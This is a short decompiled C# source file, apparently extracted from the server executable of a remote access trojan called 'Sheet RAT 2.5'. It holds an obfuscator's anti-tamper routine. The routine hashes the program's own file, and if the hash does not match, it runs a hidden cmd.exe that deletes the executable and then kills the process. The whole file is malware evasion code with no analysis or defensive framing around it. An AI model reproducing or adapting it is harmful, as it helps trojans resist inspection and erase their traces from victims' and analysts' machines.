// Decompiled with JetBrains decompiler // Type: MindLated.Protection.Anti.Runtime.EofAntiTamper // Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA // Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe using System; using System.Windows.Forms; using System.Diagnostics; using System.IO; using System.Reflection; using System.Security.Cryptography; //#nullable disable namespace MindLated.Protection.Anti.Runtime { internal class EofAntiTamper { private static void Initializer() { string location = Assembly.GetExecutingAssembly().Location; Stream baseStream = new StreamReader(location).BaseStream; BinaryReader binaryReader = new BinaryReader(baseStream); string str1 = BitConverter.ToString(SHA256.Create().ComputeHash(binaryReader.ReadBytes(File.ReadAllBytes(location).Length - 32 /*0x20*/))); baseStream.Seek(-32L, SeekOrigin.End); string str2 = BitConverter.ToString(binaryReader.ReadBytes(32 /*0x20*/)); if (!(str1 != str2)) return; Process.Start(new ProcessStartInfo("cmd.exe", $"/C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"{Assembly.GetExecutingAssembly().Location}\"") { WindowStyle = ProcessWindowStyle.Hidden })?.Dispose(); Process.GetCurrentProcess().Kill(); } } }